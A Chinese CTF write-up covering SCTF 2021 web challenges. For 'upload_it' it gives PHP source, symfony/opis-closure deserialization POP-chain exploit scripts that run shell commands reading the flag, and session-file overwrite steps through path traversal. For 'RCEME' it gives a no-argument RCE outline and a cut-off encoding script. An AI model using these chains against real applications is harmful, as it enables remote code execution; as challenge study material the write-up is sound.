# Loginme (go ssti)

# upload_it

  • session 反序列化

  • yii POP 链

  • Closure 闭包

# 源码

/public/index.php

<?php
include_once "../vendor/autoload.php";
error_reporting(0);
session_start();
define("UPLOAD_PATH", "/tmp/sandbox");
if (!file_exists(UPLOAD_PATH)) {
    @mkdir(UPLOAD_PATH);
}
function make_user_upload_dir() {
    $md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
    $upload_path = UPLOAD_PATH . "/" . $md5_dir;
    @mkdir($upload_path);
    $_SESSION["upload_path"] = $upload_path;
}
if (empty($_SESSION["upload_path"])) {
    make_user_upload_dir();
}
-
if (!empty($_FILES['file'])) {
    $file = $_FILES['file'];
    if ($file['size'] < 1024 * 1024) {
        if (!empty($_POST['path'])) {
            $upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
            $upload_file = $upload_file_path."/".$file['name'];
        } else {
            $upload_file_path = $_SESSION["upload_path"];
            $upload_file = $_SESSION["upload_path"]."/".$file['name'];
        }
        if (move_uploaded_file($file['tmp_name'], $upload_file)) {
            echo "OK! Your file saved in: " . $upload_file;
        } else {
            echo "emm...Upload failed:(";
        }
    } else {
        echo "too big!!!";
    }
} else if (!empty($_GET['phpinfo'])) {
    phpinfo();
    exit();
} else {
    echo <<<CODE
<html>
    <head>
        <title>Upload</title>
    </head>
    <body>
        <h1>Upload files casually XD</h1>
        <form action="index.php" method="post" enctype="multipart/form-data">
            FILE: <input type="file" name="file">
            PATH: <input type="text" name="path">
            <input type="submit">
        </form>
        <hr>
        <h3>or...Just look at the phpinfo?</h3>
        <a href="./index.php?phpinfo=1">go to phpinfo</a>
    </body>
</html>
CODE;
}

composer.json

{
    "name": "sctf2021/upload",
    "authors": [
        {
            "name": "AFKL",
            "email": "upload@qq.com"
        }
    ],
    "require": {
        "symfony/string": "^5.3",
        "opis/closure": "^3.6"
    }
}

# 环境搭建

将public目录与composer.json移动到WWW/sctf-upload/目录下,执行

sudo composer install -v

命令即可

# 题目

image-20211226192717157

# 知识点

入口是session可控

思路就是,首先传递一个session文件覆盖其session文件,内容是pop链

然后正常传递的时候,将session取出来会触发__sleep()函数进行RCE

最后是closure闭包完成RCE

# session 反序列化

查看composer.json

image-20211227204939280

发现symfony/string和opis/closure, 考虑框架反序列化
然后看index.php,index的逻辑是:

image-20211227204643436

首先定义一个upload_path存储到session里面,然后取出session的时候会触发__sleep()函数

# 挖链子

# 链子 1

参考文章

http://www.wangqingzheng.com/anquanke/29/217929.html
vendor/symfony/string/UnicodeString

image-20211228191335357

这里利用的是 vendor/symfony/string/LazyString.php:96 中的 __toString 方法

image-20211227205530929

$this->value = ($this->value)();value值可控
可以用它调用其他方法
反序列化的流程:

序列化存储在$_SESSION['upload_path'], 然后取出$_SESSION['upload_path']时会进行反序列化, 此时会将触发UnicodeString类中的wakeup函数,从而生成一个LazyString类,又因为要将$_SESSION['upload_path']与$_POST['path']拼接,继而触发LazyString中的__toString函数,调用其中的$this->value()方法

而这里因为只能控制$this->value,显然不能调用类似system('ls')命令,但是由于其包含了\Opis\Closure,所以可以使用闭包来进行RCE

POC 链

<?php
namespace Symfony\Component\String {
    include_once "../vendor/autoload.php";
    class Test{
        public $source;
    }
    use yii\rest\IndexAction;
    class LazyString
    {
        private $value;
        public function __construct()
        {
            $t = new Test;
            $func = function(){
                $cmd = 'cat /*';
                system($cmd);
            };
            $raw = \Opis\Closure\serialize($func);
            $t->source = unserialize($raw);
            $this->value = $t->source;
        }
    }
    class UnicodeString
    {
        protected $string = '';
        public function __construct()
        {
            $this->string = new LazyString;
        }
    }
}
namespace {
    $exp = print(urlencode(serialize(new Symfony\Component\String\UnicodeString())));
    var_dump(file_put_contents('sess_','upload_path|'.serialize(new Symfony\Component\String\UnicodeString())));
}

# 链子 2

这里利用的是 vendor/symfony/string/LazyString.php:96 中的 __sleep 方法

image-20211228191650604

$_SESSION[upload_path] 在进行序列化的时候会触发__sleep 函数

<?php
namespace Symfony\Component\String{
    class LazyString{
        public $value;
        public function __construct($value){
            $this->value = $value;
        }
    }
}
namespace {
    require "./vendor/autoload.php";
    $func = function(){system("cat /flag");};
    $d = new \Opis\Closure\SerializableClosure($func);
    $s = new \Symfony\Component\String\LazyString($d);
    echo serialize($s);
}

# 解题

利用POC链生成session文件

image-20211227225416076

重命名,将sess_  后面加上自己的PHPSSID

image-20211227225511037

上传文件到/tmp目录下覆盖掉原本的session文件,即path=../..

image-20211227225634801

提交刷新一下

image-20211227225650876

# RCEME (无参数 RCE)

  • 无参 rce

  • bypass disable function

  • 可变参数

  • create_function 与 call_user_func

# 源码

<?php
if(isset($_POST['cmd'])){
    $code = $_POST['cmd'];
    if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Try harder!\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
} else {
    highlight_file(__FILE__);
    var_dump(ini_get("disable_functions"));
}
?>
string(25472) "zend_version, func_num_args, func_get_arg, func_get_args, strcmp, strncmp, strcasecmp, strncasecmp, each, error_log, define, defined, get_class, get_called_class, get_parent_class, method_exists, property_exists, class_exists, interface_exists, trait_exists, function_exists, class_alias, get_included_files, get_required_files, is_subclass_of, is_a, get_class_vars, get_object_vars, get_mangled_object_vars, get_class_methods, trigger_error, user_error, restore_error_handler, set_exception_handler, restore_exception_handler, get_declared_classes, get_declared_traits, get_declared_interfaces, get_defined_functions, get_defined_vars, get_resource_type, get_resources, get_loaded_extensions, extension_loaded, get_extension_funcs, get_defined_constants, debug_backtrace, debug_print_backtrace, gc_mem_caches, gc_collect_cycles, gc_enabled, gc_enable, gc_disable, gc_status, strtotime, date, idate, gmdate, mktime, gmmktime, checkdate, strftime, gmstrftime, time, localtime, getdate, date_create, date_create_immutable, date_create_from_format, date_create_immutable_from_format, date_parse, date_parse_from_format, date_get_last_errors, date_format, date_modify, date_add, date_sub, date_timezone_get, date_timezone_set, date_offset_get, date_diff, date_time_set, date_date_set, date_isodate_set, date_timestamp_set, date_timestamp_get, timezone_open, timezone_name_get, timezone_name_from_abbr, timezone_offset_get, timezone_transitions_get, timezone_location_get, timezone_identifiers_list, timezone_abbreviations_list, timezone_version_get, date_interval_create_from_date_string, date_interval_format, date_default_timezone_set, date_default_timezone_get, date_sunrise, date_sunset, date_sun_info, libxml_set_streams_context, libxml_use_internal_errors, libxml_get_last_error, libxml_clear_errors, libxml_get_errors, libxml_disable_entity_loader, libxml_set_external_entity_loader, openssl_get_cert_locations, openssl_spki_new, openssl_spki_verify, openssl_spki_export, openssl_spki_export_challenge, openssl_pkey_free, openssl_pkey_new, openssl_pkey_export, openssl_pkey_export_to_file, openssl_pkey_get_private, openssl_pkey_get_public, openssl_pkey_get_details, openssl_free_key, openssl_get_privatekey, openssl_get_publickey, openssl_x509_read, openssl_x509_free, openssl_x509_parse, openssl_x509_checkpurpose, openssl_x509_check_private_key, openssl_x509_verify, openssl_x509_export, openssl_x509_fingerprint, openssl_x509_export_to_file, openssl_pkcs12_export, openssl_pkcs12_export_to_file, openssl_pkcs12_read, openssl_csr_new, openssl_csr_export, openssl_csr_export_to_file, openssl_csr_sign, openssl_csr_get_subject, openssl_csr_get_public_key, openssl_digest, openssl_encrypt, openssl_decrypt, openssl_cipher_iv_length, openssl_sign, openssl_verify, openssl_seal, openssl_open, openssl_pbkdf2, openssl_pkcs7_verify, openssl_pkcs7_decrypt, openssl_pkcs7_sign, openssl_pkcs7_encrypt, openssl_pkcs7_read, openssl_private_encrypt, openssl_private_decrypt, openssl_public_encrypt, openssl_public_decrypt, openssl_get_md_methods, openssl_get_cipher_methods, openssl_get_curve_names, openssl_dh_compute_key, openssl_pkey_derive, openssl_random_pseudo_bytes, openssl_error_string, preg_match_all, preg_replace_callback, preg_replace_callback_array, preg_filter, preg_split, preg_quote, preg_grep, preg_last_error, readgzfile, gzrewind, gzclose, gzeof, gzgetc, gzgets, gzgetss, gzread, gzopen, gzpassthru, gzseek, gztell, gzwrite, gzputs, gzfile, gzcompress, gzuncompress, gzdeflate, gzinflate, gzencode, gzdecode, zlib_encode, zlib_decode, zlib_get_coding_type, deflate_init, deflate_add, inflate_init, inflate_add, inflate_get_status, inflate_get_read_len, ob_gzhandler, filter_input, filter_var, filter_input_array, filter_var_array, filter_list, filter_has_var, filter_id, hash, hash_file, hash_hmac, hash_hmac_file, hash_init, hash_update, hash_update_stream, hash_update_file, hash_final, hash_copy, hash_algos, hash_hmac_algos, hash_pbkdf2, hash_equals, hash_hkdf, mhash_keygen_s2k, mhash_get_block_size, mhash_get_hash_name, mhash_count, mhash, session_name, session_module_name, session_save_path, session_id, session_create_id, session_regenerate_id, session_decode, session_encode, session_start, session_destroy, session_unset, session_gc, session_set_save_handler, session_cache_limiter, session_cache_expire, session_set_cookie_params, session_get_cookie_params, session_write_close, session_abort, session_reset, session_status, session_register_shutdown, session_commit, sodium_crypto_aead_aes256gcm_is_available, sodium_crypto_aead_aes256gcm_decrypt, sodium_crypto_aead_aes256gcm_encrypt, sodium_crypto_aead_aes256gcm_keygen, sodium_crypto_aead_chacha20poly1305_decrypt, sodium_crypto_aead_chacha20poly1305_encrypt, sodium_crypto_aead_chacha20poly1305_keygen, sodium_crypto_aead_chacha20poly1305_ietf_decrypt, sodium_crypto_aead_chacha20poly1305_ietf_encrypt, sodium_crypto_aead_chacha20poly1305_ietf_keygen, sodium_crypto_aead_xchacha20poly1305_ietf_decrypt, sodium_crypto_aead_xchacha20poly1305_ietf_keygen, sodium_crypto_aead_xchacha20poly1305_ietf_encrypt, sodium_crypto_auth, sodium_crypto_auth_keygen, sodium_crypto_auth_verify, sodium_crypto_box, sodium_crypto_box_keypair, sodium_crypto_box_seed_keypair, sodium_crypto_box_keypair_from_secretkey_and_publickey, sodium_crypto_box_open, sodium_crypto_box_publickey, sodium_crypto_box_publickey_from_secretkey, sodium_crypto_box_seal, sodium_crypto_box_seal_open, sodium_crypto_box_secretkey, sodium_crypto_kx_keypair, sodium_crypto_kx_publickey, sodium_crypto_kx_secretkey, sodium_crypto_kx_seed_keypair, sodium_crypto_kx_client_session_keys, sodium_crypto_kx_server_session_keys, sodium_crypto_generichash, sodium_crypto_generichash_keygen, sodium_crypto_generichash_init, sodium_crypto_generichash_update, sodium_crypto_generichash_final, sodium_crypto_kdf_derive_from_key, sodium_crypto_kdf_keygen, sodium_crypto_pwhash, sodium_crypto_pwhash_str, sodium_crypto_pwhash_str_verify, sodium_crypto_pwhash_str_needs_rehash, sodium_crypto_pwhash_scryptsalsa208sha256, sodium_crypto_pwhash_scryptsalsa208sha256_str, sodium_crypto_pwhash_scryptsalsa208sha256_str_verify, sodium_crypto_scalarmult, sodium_crypto_secretbox, sodium_crypto_secretbox_keygen, sodium_crypto_secretbox_open, sodium_crypto_secretstream_xchacha20poly1305_keygen, sodium_crypto_secretstream_xchacha20poly1305_init_push, sodium_crypto_secretstream_xchacha20poly1305_push, sodium_crypto_secretstream_xchacha20poly1305_init_pull, sodium_crypto_secretstream_xchacha20poly1305_pull, sodium_crypto_secretstream_xchacha20poly1305_rekey, sodium_crypto_shorthash, sodium_crypto_shorthash_keygen, sodium_crypto_sign, sodium_crypto_sign_detached, sodium_crypto_sign_ed25519_pk_to_curve25519, sodium_crypto_sign_ed25519_sk_to_curve25519, sodium_crypto_sign_keypair, sodium_crypto_sign_keypair_from_secretkey_and_publickey, sodium_crypto_sign_open, sodium_crypto_sign_publickey, sodium_crypto_sign_secretkey, sodium_crypto_sign_publickey_from_secretkey, sodium_crypto_sign_seed_keypair, sodium_crypto_sign_verify_detached, sodium_crypto_stream, sodium_crypto_stream_keygen, sodium_crypto_stream_xor, sodium_add, sodium_compare, sodium_increment, sodium_memcmp, sodium_memzero, sodium_pad, sodium_unpad, sodium_bin2hex, sodium_hex2bin, sodium_bin2base64, sodium_base642bin, sodium_crypto_scalarmult_base, spl_classes, spl_autoload, spl_autoload_extensions, spl_autoload_register, spl_autoload_unregister, spl_autoload_functions, spl_autoload_call, class_parents, class_implements, class_uses, spl_object_hash, spl_object_id, iterator_to_array, iterator_count, iterator_apply, constant, bin2hex, hex2bin, sleep, usleep, time_nanosleep, time_sleep_until, strptime, flush, wordwrap, htmlspecialchars, htmlentities, html_entity_decode, htmlspecialchars_decode, get_html_translation_table, sha1, sha1_file, md5, md5_file, crc32, iptcparse, iptcembed, getimagesize, getimagesizefromstring, image_type_to_mime_type, image_type_to_extension, phpversion, phpcredits, php_sapi_name, php_uname, php_ini_scanned_files, php_ini_loaded_file, strnatcmp, strnatcasecmp, substr_count, strspn, strcspn, strtok, strtoupper, ini_set, strtolower, strpos, stripos, strrpos, strripos, strrev, hebrev, hebrevc, nl2br, basename, dirname, pathinfo, stripslashes, stripcslashes, stristr, strrchr, str_shuffle, str_word_count, str_split, strpbrk, substr_compare, utf8_encode, utf8_decode, strcoll, money_format, substr, substr_replace, quotemeta, ucfirst, lcfirst, ucwords, strtr, addslashes, addcslashes, rtrim, str_replace, str_ireplace, str_repeat, count_chars, chunk_split, trim, ltrim, strip_tags, similar_text, explode, implode, join, setlocale, localeconv, nl_langinfo, soundex, levenshtein, chr, ord, parse_str, str_getcsv, str_pad, chop, strchr, sprintf, printf, vprintf, vsprintf, fprintf, vfprintf, sscanf, fscanf, parse_url, urlencode, urldecode, rawurlencode, rawurldecode, http_build_query, readlink, linkinfo, symlink, link, unlink, exec, system, escapeshellcmd, passthru, shell_exec, proc_open, proc_close, proc_terminate, proc_get_status, proc_nice, rand, srand, getrandmax, mt_rand, mt_srand, mt_getrandmax, random_bytes, random_int, getservbyname, getservbyport, getprotobyname, getprotobynumber, getmyuid, getmygid, getmypid, getmyinode, getlastmod, base64_decode, base64_encode, password_hash, password_get_info, password_needs_rehash, password_verify, password_algos, convert_uuencode, convert_uudecode, abs, ceil, floor, round, sin, cos, tan, asin, acos, atan, atanh, atan2, sinh, cosh, tanh, asinh, acosh, expm1, log1p, pi, is_finite, is_nan, is_infinite, pow, exp, log, log10, sqrt, hypot, deg2rad, rad2deg, bindec, hexdec, octdec, decbin, decoct, dechex, base_convert, number_format, fmod, intdiv, inet_ntop, inet_pton, ip2long, long2ip, getopt, sys_getloadavg, microtime, gettimeofday, getrusage, hrtime, uniqid, quoted_printable_decode, quoted_printable_encode, convert_cyr_string, get_current_user, set_time_limit, header_register_callback, get_cfg_var, get_magic_quotes_gpc, get_magic_quotes_runtime, error_get_last, error_clear_last, call_user_func_array, forward_static_call, forward_static_call_array, serialize, var_export, debug_zval_dump, print_r, memory_get_usage, memory_get_peak_usage, register_shutdown_function, register_tick_function, unregister_tick_function, highlight_string, php_strip_whitespace, ini_get_all, ini_alter, ini_restore, get_include_path, set_include_path, restore_include_path, setcookie, setrawcookie, header, header_remove, headers_sent, headers_list, http_response_code, connection_aborted, connection_status, ignore_user_abort, parse_ini_file, parse_ini_string, is_uploaded_file, move_uploaded_file, gethostbyaddr, gethostbyname, gethostbynamel, gethostname, net_get_interfaces, dns_check_record, checkdnsrr, dns_get_mx, getmxrr, dns_get_record, intval, floatval, doubleval, strval, boolval, gettype, settype, is_null, is_resource, is_bool, is_int, is_float, is_integer, is_long, is_double, is_real, is_numeric, is_string, is_array, is_object, is_scalar, is_callable, is_iterable, is_countable, pclose, popen, readfile, rewind, rmdir, umask, fclose, feof, fgetc, fgets, fgetss, fread, fopen, fpassthru, ftruncate, fstat, fseek, ftell, fflush, fwrite, fputs, mkdir, rename, copy, tempnam, tmpfile, file, file_get_contents, file_put_contents, stream_select, stream_context_create, stream_context_set_params, stream_context_get_params, stream_context_set_option, stream_context_get_options, stream_context_get_default, stream_context_set_default, stream_filter_prepend, stream_filter_append, stream_filter_remove, stream_socket_client, stream_socket_server, stream_socket_accept, stream_socket_get_name, stream_socket_recvfrom, stream_socket_sendto, stream_socket_enable_crypto, stream_socket_shutdown, stream_socket_pair, stream_copy_to_stream, stream_get_contents, stream_supports_lock, stream_isatty, fgetcsv, fputcsv, flock, get_meta_tags, stream_set_read_buffer, stream_set_write_buffer, set_file_buffer, stream_set_chunk_size, stream_set_blocking, socket_set_blocking, stream_get_meta_data, stream_get_line, stream_wrapper_register, stream_register_wrapper, stream_wrapper_unregister, stream_wrapper_restore, stream_get_wrappers, stream_get_transports, stream_resolve_include_path, stream_is_local, get_headers, stream_set_timeout, socket_set_timeout, socket_get_status, realpath, fnmatch, fsockopen, pfsockopen, pack, unpack, get_browser, crypt, opendir, closedir, chdir, getcwd, rewinddir, readdir, dir, scandir, glob, fileatime, filectime, filegroup, fileinode, filemtime, fileowner, fileperms, filesize, filetype, file_exists, is_writable, is_writeable, is_readable, is_executable, is_file, is_dir, is_link, stat, lstat, chown, chgrp, lchown, lchgrp, chmod, touch, clearstatcache, disk_total_space, disk_free_space, diskfreespace, realpath_cache_size, realpath_cache_get, ezmlm_hash, openlog, syslog, closelog, lcg_value, metaphone, ob_start, ob_flush, ob_clean, ob_end_flush, ob_end_clean, ob_get_flush, ob_get_clean, ob_get_length, ob_get_level, ob_get_status, ob_get_contents, ob_implicit_flush, ob_list_handlers, ksort, krsort, natsort, natcasesort, asort, arsort, sort, rsort, usort, uasort, uksort, shuffle, array_walk, array_walk_recursive, count, prev, next, reset, current, key, min, max, in_array, array_search, extract, compact, array_fill, array_fill_keys, range, array_multisort, array_push, array_pop, array_shift, array_unshift, array_splice, array_slice, array_merge, array_merge_recursive, array_replace, array_replace_recursive, array_keys, array_key_first, array_key_last, array_values, array_count_values, array_column, array_reverse, array_reduce, array_pad, array_flip, array_change_key_case, array_rand, array_unique, array_intersect, array_intersect_key, array_intersect_ukey, array_uintersect, array_intersect_assoc, array_uintersect_assoc, array_intersect_uassoc, array_uintersect_uassoc, array_diff, array_diff_key, array_diff_ukey, array_udiff, array_diff_assoc, array_udiff_assoc, array_diff_uassoc, array_udiff_uassoc, array_sum, array_product, array_filter, array_map, array_chunk, array_combine, array_key_exists, pos, sizeof, key_exists, assert, assert_options, version_compare, ftok, str_rot13, stream_get_filters, stream_filter_register, stream_bucket_make_writeable, stream_bucket_prepend, stream_bucket_append, stream_bucket_new, output_add_rewrite_var, output_reset_rewrite_vars, sys_get_temp_dir, apache_lookup_uri, virtual, apache_request_headers, apache_response_headers, apache_getenv, apache_note, apache_get_version, apache_get_modules, xxhash32, xxhash64, pdo_drivers, xml_parser_create, xml_parser_create_ns, xml_set_object, xml_set_element_handler, xml_set_character_data_handler, xml_set_processing_instruction_handler, xml_set_default_handler, xml_set_unparsed_entity_decl_handler, xml_set_notation_decl_handler, xml_set_external_entity_ref_handler, xml_set_start_namespace_decl_handler, xml_set_end_namespace_decl_handler, xml_parse, xml_parse_into_struct, xml_get_error_code, xml_error_string, xml_get_current_line_number, xml_get_current_column_number, xml_get_current_byte_index, xml_parser_free, xml_parser_set_option, xml_parser_get_option, jdtogregorian, gregoriantojd, jdtojulian, juliantojd, jdtojewish, jewishtojd, jdtofrench, frenchtojd, jddayofweek, jdmonthname, easter_date, easter_days, unixtojd, jdtounix, cal_to_jd, cal_from_jd, cal_days_in_month, cal_info, ctype_alnum, ctype_alpha, ctype_cntrl, ctype_digit, ctype_lower, ctype_graph, ctype_print, ctype_punct, ctype_space, ctype_upper, ctype_xdigit, dom_import_simplexml, exif_read_data, read_exif_data, exif_tagname, exif_thumbnail, exif_imagetype, finfo_open, finfo_close, finfo_set_flags, finfo_file, finfo_buffer, mime_content_type, ftp_connect, ftp_ssl_connect, ftp_login, ftp_pwd, ftp_cdup, ftp_chdir, ftp_exec, ftp_raw, ftp_mkdir, ftp_rmdir, ftp_chmod, ftp_alloc, ftp_nlist, ftp_rawlist, ftp_mlsd, ftp_systype, ftp_pasv, ftp_get, ftp_fget, ftp_put, ftp_append, ftp_fput, ftp_size, ftp_mdtm, ftp_rename, ftp_delete, ftp_site, ftp_close, ftp_set_option, ftp_get_option, ftp_nb_fget, ftp_nb_get, ftp_nb_continue, ftp_nb_put, ftp_nb_fput, ftp_quit, gd_info, imagearc, imageellipse, imagechar, imagecharup, imagecolorat, imagecolorallocate, imagepalettecopy, imagecreatefromstring, imagecolorclosest, imagecolorclosesthwb, imagecolordeallocate, imagecolorresolve, imagecolorexact, imagecolorset, imagecolortransparent, imagecolorstotal, imagecolorsforindex, imagecopy, imagecopymerge, imagecopymergegray, imagecopyresized, imagecreate, imagecreatetruecolor, imageistruecolor, imagetruecolortopalette, imagepalettetotruecolor, imagesetthickness, imagefilledarc, imagefilledellipse, imagealphablending, imagesavealpha, imagecolorallocatealpha, imagecolorresolvealpha, imagecolorclosestalpha, imagecolorexactalpha, imagecopyresampled, imagerotate, imageflip, imageantialias, imagecrop, imagecropauto, imagescale, imageaffine, imageaffinematrixconcat, imageaffinematrixget, imagesetinterpolation, imagesettile, imagesetbrush, imagesetstyle, imagecreatefrompng, imagecreatefromwebp, imagecreatefromgif, imagecreatefromjpeg, imagecreatefromwbmp, imagecreatefromxbm, imagecreatefromxpm, imagecreatefromgd, imagecreatefromgd2, imagecreatefromgd2part, imagecreatefrombmp, imagecreatefromtga, imagepng, imagewebp, imagegif, imagejpeg, imagewbmp, imagegd, imagegd2, imagebmp, imagedestroy, imagegammacorrect, imagefill, imagefilledpolygon, imagefilledrectangle, imagefilltoborder, imagefontwidth, imagefontheight, imageinterlace, imageline, imageloadfont, imagepolygon, imageopenpolygon, imagerectangle, imagesetpixel, imagestring, imagestringup, imagesx, imagesy, imagesetclip, imagegetclip, imagedashedline, imagettfbbox, imagettftext, imageftbbox, imagefttext, imagetypes, jpeg2wbmp, png2wbmp, image2wbmp, imagelayereffect, imagexbm, imagecolormatch, imagefilter, imageconvolution, imageresolution, textdomain, gettext, _, dgettext, dcgettext, bindtextdomain, ngettext, dngettext, dcngettext, bind_textdomain_codeset, gmp_init, gmp_import, gmp_export, gmp_intval, gmp_strval, gmp_add, gmp_sub, gmp_mul, gmp_div_qr, gmp_div_q, gmp_div_r, gmp_div, gmp_mod, gmp_divexact, gmp_neg, gmp_abs, gmp_fact, gmp_sqrt, gmp_sqrtrem, gmp_root, gmp_rootrem, gmp_pow, gmp_powm, gmp_perfect_square, gmp_perfect_power, gmp_prob_prime, gmp_gcd, gmp_gcdext, gmp_lcm, gmp_invert, gmp_jacobi, gmp_legendre, gmp_kronecker, gmp_cmp, gmp_sign, gmp_random, gmp_random_seed, gmp_random_bits, gmp_random_range, gmp_and, gmp_or, gmp_com, gmp_xor, gmp_setbit, gmp_clrbit, gmp_testbit, gmp_scan0, gmp_scan1, gmp_popcount, gmp_hamdist, gmp_nextprime, gmp_binomial, iconv, iconv_get_encoding, iconv_set_encoding, iconv_strlen, iconv_substr, iconv_strpos, iconv_strrpos, iconv_mime_encode, iconv_mime_decode, iconv_mime_decode_headers, json_encode, json_decode, json_last_error, json_last_error_msg, mb_convert_case, mb_strtoupper, mb_strtolower, mb_language, mb_internal_encoding, mb_http_input, mb_http_output, mb_detect_order, mb_substitute_character, mb_parse_str, mb_output_handler, mb_preferred_mime_name, mb_str_split, mb_strlen, mb_strpos, mb_strrpos, mb_stripos, mb_strripos, mb_strstr, mb_strrchr, mb_stristr, mb_strrichr, mb_substr_count, mb_substr, mb_strcut, mb_strwidth, mb_strimwidth, mb_convert_encoding, mb_detect_encoding, mb_list_encodings, mb_encoding_aliases, mb_convert_kana, mb_encode_mimeheader, mb_decode_mimeheader, mb_convert_variables, mb_encode_numericentity, mb_decode_numericentity, mb_send_mail, mb_get_info, mb_check_encoding, mb_ord, mb_chr, mb_scrub, mb_regex_encoding, mb_regex_set_options, mb_ereg, mb_eregi, mb_ereg_replace, mb_eregi_replace, mb_ereg_replace_callback, mb_split, mb_ereg_match, mb_ereg_search, mb_ereg_search_pos, mb_ereg_search_regs, mb_ereg_search_init, mb_ereg_search_getregs, mb_ereg_search_getpos, mb_ereg_search_setpos, mbregex_encoding, mbereg, mberegi, mbereg_replace, mberegi_replace, mbsplit, mbereg_match, mbereg_search, mbereg_search_pos, mbereg_search_regs, mbereg_search_init, mbereg_search_getregs, mbereg_search_getpos, mbereg_search_setpos, mysqli_affected_rows, mysqli_autocommit, mysqli_begin_transaction, mysqli_change_user, mysqli_character_set_name, mysqli_close, mysqli_commit, mysqli_connect, mysqli_connect_errno, mysqli_connect_error, mysqli_data_seek, mysqli_dump_debug_info, mysqli_debug, mysqli_errno, mysqli_error, mysqli_error_list, mysqli_stmt_execute, mysqli_execute, mysqli_fetch_field, mysqli_fetch_fields, mysqli_fetch_field_direct, mysqli_fetch_lengths, mysqli_fetch_all, mysqli_fetch_array, mysqli_fetch_assoc, mysqli_fetch_object, mysqli_fetch_row, mysqli_field_count, mysqli_field_seek, mysqli_field_tell, mysqli_free_result, mysqli_get_connection_stats, mysqli_get_client_stats, mysqli_get_charset, mysqli_get_client_info, mysqli_get_client_version, mysqli_get_links_stats, mysqli_get_host_info, mysqli_get_proto_info, mysqli_get_server_info, mysqli_get_server_version, mysqli_get_warnings, mysqli_init, mysqli_info, mysqli_insert_id, mysqli_kill, mysqli_more_results, mysqli_multi_query, mysqli_next_result, mysqli_num_fields, mysqli_num_rows, mysqli_options, mysqli_ping, mysqli_poll, mysqli_prepare, mysqli_report, mysqli_query, mysqli_real_connect, mysqli_real_escape_string, mysqli_real_query, mysqli_reap_async_query, mysqli_release_savepoint, mysqli_rollback, mysqli_savepoint, mysqli_select_db, mysqli_set_charset, mysqli_stmt_affected_rows, mysqli_stmt_attr_get, mysqli_stmt_attr_set, mysqli_stmt_bind_param, mysqli_stmt_bind_result, mysqli_stmt_close, mysqli_stmt_data_seek, mysqli_stmt_errno, mysqli_stmt_error, mysqli_stmt_error_list, mysqli_stmt_fetch, mysqli_stmt_field_count, mysqli_stmt_free_result, mysqli_stmt_get_result, mysqli_stmt_get_warnings, mysqli_stmt_init, mysqli_stmt_insert_id, mysqli_stmt_more_results, mysqli_stmt_next_result, mysqli_stmt_num_rows, mysqli_stmt_param_count, mysqli_stmt_prepare, mysqli_stmt_reset, mysqli_stmt_result_metadata, mysqli_stmt_send_long_data, mysqli_stmt_store_result, mysqli_stmt_sqlstate, mysqli_sqlstate, mysqli_ssl_set, mysqli_stat, mysqli_store_result, mysqli_thread_id, mysqli_thread_safe, mysqli_use_result, mysqli_warning_count, mysqli_refresh, mysqli_escape_string, mysqli_set_opt, posix_kill, posix_getpid, posix_getppid, posix_getuid, posix_setuid, posix_geteuid, posix_seteuid, posix_getgid, posix_setgid, posix_getegid, posix_setegid, posix_getgroups, posix_getlogin, posix_getpgrp, posix_setsid, posix_setpgid, posix_getpgid, posix_getsid, posix_uname, posix_times, posix_ctermid, posix_ttyname, posix_isatty, posix_getcwd, posix_mkfifo, posix_mknod, posix_access, posix_getgrnam, posix_getgrgid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_setrlimit, posix_get_last_error, posix_errno, posix_strerror, posix_initgroups, readline, readline_info, readline_add_history, readline_clear_history, readline_list_history, readline_read_history, readline_write_history, readline_completion_function, readline_callback_handler_install, readline_callback_read_char, readline_callback_handler_remove, readline_redisplay, readline_on_new_line, shmop_open, shmop_read, shmop_close, shmop_size, shmop_write, shmop_delete, simplexml_load_file, simplexml_load_string, simplexml_import_dom, socket_select, socket_create, socket_create_listen, socket_create_pair, socket_accept, socket_set_nonblock, socket_set_block, socket_listen, socket_close, socket_write, socket_read, socket_getsockname, socket_getpeername, socket_connect, socket_strerror, socket_bind, socket_recv, socket_send, socket_recvfrom, socket_sendto, socket_get_option, socket_set_option, socket_shutdown, socket_last_error, socket_clear_error, socket_import_stream, socket_export_stream, socket_sendmsg, socket_recvmsg, socket_cmsg_space, socket_addrinfo_lookup, socket_addrinfo_connect, socket_addrinfo_bind, socket_addrinfo_explain, socket_getopt, socket_setopt, msg_get_queue, msg_send, msg_receive, msg_remove_queue, msg_stat_queue, msg_set_queue, msg_queue_exists, sem_get, sem_acquire, sem_release, sem_remove, shm_attach, shm_remove, shm_detach, shm_put_var, shm_has_var, shm_get_var, shm_remove_var, token_get_all, token_name, xmlwriter_open_uri, xmlwriter_open_memory, xmlwriter_set_indent, xmlwriter_set_indent_string, xmlwriter_start_comment, xmlwriter_end_comment, xmlwriter_start_attribute, xmlwriter_end_attribute, xmlwriter_write_attribute, xmlwriter_start_attribute_ns, xmlwriter_write_attribute_ns, xmlwriter_start_element, xmlwriter_end_element, xmlwriter_full_end_element, xmlwriter_start_element_ns, xmlwriter_write_element, xmlwriter_write_element_ns, xmlwriter_start_pi, xmlwriter_end_pi, xmlwriter_write_pi, xmlwriter_start_cdata, xmlwriter_end_cdata, xmlwriter_write_cdata, xmlwriter_text, xmlwriter_write_raw, xmlwriter_start_document, xmlwriter_end_document, xmlwriter_write_comment, xmlwriter_start_dtd, xmlwriter_end_dtd, xmlwriter_write_dtd, xmlwriter_start_dtd_element, xmlwriter_end_dtd_element, xmlwriter_write_dtd_element, xmlwriter_start_dtd_attlist, xmlwriter_end_dtd_attlist, xmlwriter_write_dtd_attlist, xmlwriter_start_dtd_entity, xmlwriter_end_dtd_entity, xmlwriter_write_dtd_entity, xmlwriter_output_memory, xmlwriter_flush, zip_open, zip_close, zip_read, zip_entry_open, zip_entry_close, zip_entry_read, zip_entry_filesize, zip_entry_name, zip_entry_compressedsize, zip_entry_compressionmethod, opcache_reset, opcache_invalidate, opcache_compile_file, opcache_is_script_cached, opcache_get_configuration, opcache_get_status,mail,imap_mail,imap_open"

# 总体思路

构造 call_user_func (...unserialize (end (getallheaders ()))); 然后在最后一个请求头放上 payload,即可任意代码执行。

# 异或脚本

def one(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
